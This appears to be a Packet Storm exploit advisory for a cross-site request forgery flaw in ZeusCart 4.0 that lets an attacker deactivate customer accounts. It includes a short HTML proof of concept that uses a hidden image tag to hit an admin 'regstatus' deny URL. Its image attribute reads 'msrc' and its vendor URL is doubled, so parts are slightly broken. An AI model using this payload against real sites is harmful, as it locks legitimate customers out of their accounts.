ZeusCart version 4.0 suffers from a cross site request forgery vulnerability.
62ccf2210eb7dc657459af9201570ab62754284d94a82f3efa750f369e3f08ab# Exploit Title: ZeusCart4.0 Deactivate Customer Accounts CSRF
# Date: 12/20/2018
# Exploit Author: mqt
# Vendor Homepage: https://https://www.zeuscart.com/
# Version: Zeus Cart 4.0 CSRF
1. Vulnerability Description
Due to the form not being validated, ZeusCart4.0 suffers from a Cross
Site Request Forgery vulnerability, which means an attacker can
perform actions on behalf of a victim, by having the victim visit an
attacker controlled site.
In this case, the attacker is able to "deactivate" any customer
accounts, which means that the account is banned and cannot login.
Proof of Concept:
<html>
<body>
<img style="display:none"msrc="https://localhost/admin/?do=regstatus&action=deny&id=2" alt="">
</body>
</html>
© 2024 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed